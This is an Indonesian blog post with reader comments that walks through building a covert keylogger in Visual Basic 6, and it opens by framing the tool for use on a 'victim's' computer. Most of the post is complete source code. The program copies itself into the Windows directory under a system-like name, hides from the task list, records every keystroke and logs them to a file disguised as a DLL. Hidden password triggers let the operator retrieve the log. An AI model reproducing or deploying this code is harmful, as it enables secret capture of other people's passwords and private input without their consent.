17 November 2008

Bikin Keylogger Dengan Visual Basic (VB)

hyah... keylogger... biasanya kita cuma download programnya trus praktekin di komputer korban. Tapi kali ini kita bakalan bikin programmnya sesuai dengan keinginan kita...


Pertama - tama... siapkan 2 buah form dan 1 buah module. Bis itu di form 1 diisi dengan kode kayak gini nih...


Dim w As Long
Dim s As String

Private Sub Form_Load()
If App.path <> WinDir Then
FileCopy App.path & "\" & App.EXEName & ".exe", WinDir & "\sysmonitor.exe"
Shell WinDir & "\sysmonitor.exe"
End
End If
w = 0
s = Text1.Text
App.TaskVisible = False
If App.PrevInstance = True Then
End
End If
End Sub

Private Sub mati_Click()
Form1.Visible = False
End Sub

Private Sub Timer1_Timer()
VerificareTaste
End Sub
Private Sub Timer2_Timer()
w = w + 1
If w = 5 Then
If (s = Text1.Text) And (s <> "") Then
If Right$(s, 12) = "afiefganteng" Then Form1.Visible = True
If (Right$(s, 10) = "afiefkeren") And Form1.Visible Then End
If (Right$(s, 9) = "afiefcaem") And Form1.Visible Then Form2.Show

Open App.path & "\sysbase.dll" For Append As #1
Print #1, ""
Print #1, "tanggal " + Str(Date) + " jam " + Str(Time)
Print #1, Text1.Text
Print #1, ""
Close #1
Text1.Text = ""
w = 0
Else
w = 0
End If
End If
s = Text1.Text
End Sub


eit... jangan lupa di form 1 ditambahin 2 buah timer, trus ditambahin juga 1 buah command button, trus tambahin juga 1 buah textbox.... trus bawang goreng, merica bubuk, apa cabe rawit... he'eh...

Setelah dan setelah form1 diurusin, sekarang berlanjut ke form2. Di form2 masukkan kode berikut...:::


Private Sub Command1_Click()
On Error Resume Next
FileCopy WinDir & "\sysbase.dll", Drive1.Drive & "\data.txt"
Kill WinDir & "\sysbase.dll"
Unload Form2
End Sub

Private Sub Command2_Click()
Drive1.Refresh
End Sub


di form2 juga ditambahin 2 buah command button ama 1 buah drivelistbox. Setelah itu berlanjut ke urusannya module1. di module1, ada beberapa kalimat yang dapet dari seseorang dan juga ada kalimat yang dapet dari CD Yogyafree, maaph lupa versi berapa... kunjungi aja situsnya di http://www.yogyafree.net/
ini codenya :

Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNregiSTER_SERVICE = 0
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Global Cnt As Long, TempText As String, sOld As String, ret As String
Dim Tel As Long


Private Const VK_CAPITAL = &H14


Public Function CAPSLOCKON() As Boolean
Static bInit As Boolean
Static bOn As Boolean
If Not bInit Then
While GetAsyncKeyState(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If GetAsyncKeyState(VK_CAPITAL) Then
While GetAsyncKeyState(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function
Public Function VerificareTaste()
Dim keystate As Long
Dim Shift As Long
Shift = GetAsyncKeyState(vbKeyShift)

keystate = GetAsyncKeyState(vbKeyA)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "A"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "a"
End If

keystate = GetAsyncKeyState(vbKeyB)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "B"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "b"
End If

keystate = GetAsyncKeyState(vbKeyC)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "C"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "c"
End If

keystate = GetAsyncKeyState(vbKeyD)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "D"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "d"
End If

keystate = GetAsyncKeyState(vbKeyE)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "E"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "e"
End If

keystate = GetAsyncKeyState(vbKeyF)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "F"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "f"
End If

keystate = GetAsyncKeyState(vbKeyG)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "G"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "g"
End If

keystate = GetAsyncKeyState(vbKeyH)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "H"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "h"
End If

keystate = GetAsyncKeyState(vbKeyI)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "I"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "i"
End If

keystate = GetAsyncKeyState(vbKeyJ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "J"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "j"
End If

keystate = GetAsyncKeyState(vbKeyK)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "K"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "k"
End If

keystate = GetAsyncKeyState(vbKeyL)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "L"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "l"
End If


keystate = GetAsyncKeyState(vbKeyM)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "M"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "m"
End If


keystate = GetAsyncKeyState(vbKeyN)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "N"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "n"
End If

keystate = GetAsyncKeyState(vbKeyO)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "O"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "o"
End If

keystate = GetAsyncKeyState(vbKeyP)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "P"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "p"
End If

keystate = GetAsyncKeyState(vbKeyQ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "Q"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "q"
End If

keystate = GetAsyncKeyState(vbKeyR)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "R"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "r"
End If

keystate = GetAsyncKeyState(vbKeyS)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "S"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "s"
End If

keystate = GetAsyncKeyState(vbKeyT)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "T"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "t"
End If

keystate = GetAsyncKeyState(vbKeyU)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "U"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "u"
End If

keystate = GetAsyncKeyState(vbKeyV)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "V"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "v"
End If

keystate = GetAsyncKeyState(vbKeyW)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "W"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "w"
End If

keystate = GetAsyncKeyState(vbKeyX)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "X"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "x"
End If

keystate = GetAsyncKeyState(vbKeyY)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "Y"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "y"
End If

keystate = GetAsyncKeyState(vbKeyZ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "Z"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "z"
End If

keystate = GetAsyncKeyState(vbKey1)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "1"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "!"
End If


keystate = GetAsyncKeyState(vbKey2)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "2"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "@"
End If


keystate = GetAsyncKeyState(vbKey3)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "3"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "#"
End If


keystate = GetAsyncKeyState(vbKey4)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "4"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "$"
End If


keystate = GetAsyncKeyState(vbKey5)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "5"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "%"
End If


keystate = GetAsyncKeyState(vbKey6)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "6"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "^"
End If


keystate = GetAsyncKeyState(vbKey7)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "7"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "&"
End If


keystate = GetAsyncKeyState(vbKey8)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "8"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "*"
End If


keystate = GetAsyncKeyState(vbKey9)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "9"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "("
End If


keystate = GetAsyncKeyState(vbKey0)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "0"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + ")"
End If


keystate = GetAsyncKeyState(vbKeyBack)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[backspace]"
End If

keystate = GetAsyncKeyState(vbKeyTab)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[tab]"
End If

keystate = GetAsyncKeyState(vbKeyReturn)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[enter]"
End If

keystate = GetAsyncKeyState(vbKeyShift)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[shift]"
End If

keystate = GetAsyncKeyState(vbKeyControl)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[ctrl]"
End If

keystate = GetAsyncKeyState(vbKeyMenu)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[alt]"
End If

keystate = GetAsyncKeyState(vbKeyPause)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[pause]"
End If

keystate = GetAsyncKeyState(vbKeyEscape)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[esc]"
End If

keystate = GetAsyncKeyState(vbKeySpace)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + " "
End If

keystate = GetAsyncKeyState(vbKeyEnd)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[end]"
End If

keystate = GetAsyncKeyState(vbKeyHome)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[home]"
End If

keystate = GetAsyncKeyState(vbKeyLeft)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[left]"
End If

keystate = GetAsyncKeyState(vbKeyRight)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[right]"
End If

keystate = GetAsyncKeyState(vbKeyUp)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[up]"
End If

keystate = GetAsyncKeyState(vbKeyDown)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[down]"
End If

keystate = GetAsyncKeyState(vbKeyInsert)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[insert]"
End If

keystate = GetAsyncKeyState(vbKeyDelete)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[Delete]"
End If

keystate = GetAsyncKeyState(&HBA)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + ";"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + ":"
End If

keystate = GetAsyncKeyState(&HBB)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "="
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "+"
End If

keystate = GetAsyncKeyState(&HBC)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + ","
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "<" End If keystate = GetAsyncKeyState(&HBD) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "-" End If If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "_"
End If

keystate = GetAsyncKeyState(&HBE)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "."
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + ">"
End If

keystate = GetAsyncKeyState(&HBF)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "/"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "?"
End If

keystate = GetAsyncKeyState(&HC0)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "`"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "~"
End If

keystate = GetAsyncKeyState(&HDB)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "["
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "["
End If

keystate = GetAsyncKeyState(&HDC)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "\"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "|"
End If

keystate = GetAsyncKeyState(&HDD)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "]"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "]"
End If

keystate = GetAsyncKeyState(&HDE)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "'"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + Chr$(34)
End If

keystate = GetAsyncKeyState(vbKeyMultiply)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "*"
End If

keystate = GetAsyncKeyState(vbKeyDivide)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "/"
End If

keystate = GetAsyncKeyState(vbKeyAdd)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "+"
End If

keystate = GetAsyncKeyState(vbKeySubtract)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "-"
End If

keystate = GetAsyncKeyState(vbKeyDecimal)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[Del]"
End If

keystate = GetAsyncKeyState(vbKeyF1)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F1]"
End If

keystate = GetAsyncKeyState(vbKeyF2)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F2]"
End If

keystate = GetAsyncKeyState(vbKeyF3)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F3]"
End If

keystate = GetAsyncKeyState(vbKeyF4)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F4]"
End If

keystate = GetAsyncKeyState(vbKeyF5)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F5]"
End If

keystate = GetAsyncKeyState(vbKeyF6)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F6]"
End If

keystate = GetAsyncKeyState(vbKeyF7)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F7]"
End If

keystate = GetAsyncKeyState(vbKeyF8)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F8]"
End If

keystate = GetAsyncKeyState(vbKeyF9)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F9]"
End If

keystate = GetAsyncKeyState(vbKeyF10)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F10]"
End If

keystate = GetAsyncKeyState(vbKeyF11)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F11]"
End If

keystate = GetAsyncKeyState(vbKeyF12)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F12]"
End If


keystate = GetAsyncKeyState(vbKeyNumlock)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[NumLock]"
End If

keystate = GetAsyncKeyState(vbKeyScrollLock)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[ScrollLock]"
End If

keystate = GetAsyncKeyState(vbKeyPrint)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[PrintScreen]"
End If

keystate = GetAsyncKeyState(vbKeyPageUp)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[PageUp]"
End If

keystate = GetAsyncKeyState(vbKeyPageDown)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[Pagedown]"
End If

keystate = GetAsyncKeyState(vbKeySnapshot)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[Snapshot]"
End If

keystate = GetAsyncKeyState(vbKeyMenu)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[Menu]"
End If

keystate = GetAsyncKeyState(vbKeyNumpad1)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "1"
End If

keystate = GetAsyncKeyState(vbKeyNumpad2)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "2"
End If

keystate = GetAsyncKeyState(vbKeyNumpad3)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "3"
End If

keystate = GetAsyncKeyState(vbKeyNumpad4)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "4"
End If

keystate = GetAsyncKeyState(vbKeyNumpad5)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "5"
End If

keystate = GetAsyncKeyState(vbKeyNumpad6)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "6"
End If

keystate = GetAsyncKeyState(vbKeyNumpad7)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "7"
End If

keystate = GetAsyncKeyState(vbKeyNumpad8)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "8"
End If

keystate = GetAsyncKeyState(vbKeyNumpad9)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "9"
End If

keystate = GetAsyncKeyState(vbKeyNumpad0)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "0"
End If
End Function


Public Function WinDir() As String
Dim path As String, strSave As String
strSave = String(200, Chr$(0))
WinDir = Left$(strSave, GetWindowsDirectory(strSave, Len(strSave)))
End Function
'---






Hokey deh... itu cara - caranya. Moga aja masih kurang puas dengan yang disajikan di atas. Alo ada yang kurang jelas, kasih komen aja... Thanx

3 komentar:

  1. bs mnta project VB nya gag gan. . . cz inerval timernya gag disebutin disitu, trus onload pertama kyk gmn . .klo boleh kirim ke :

    core_temp89@yahoo.co.id

    makasih :)

    BalasHapus
  2. wah, berhubung terjadi musibah dengan PC saya dulu,, jadi saya kirim yang lain ,, tapi intinya sama,, bisa di pelajari lagi..

    BalasHapus

silahkan komentarnya ... tapi yang lebih dari sebulan, harus saya moderasi dulu ya,, biar gak kelewat... :)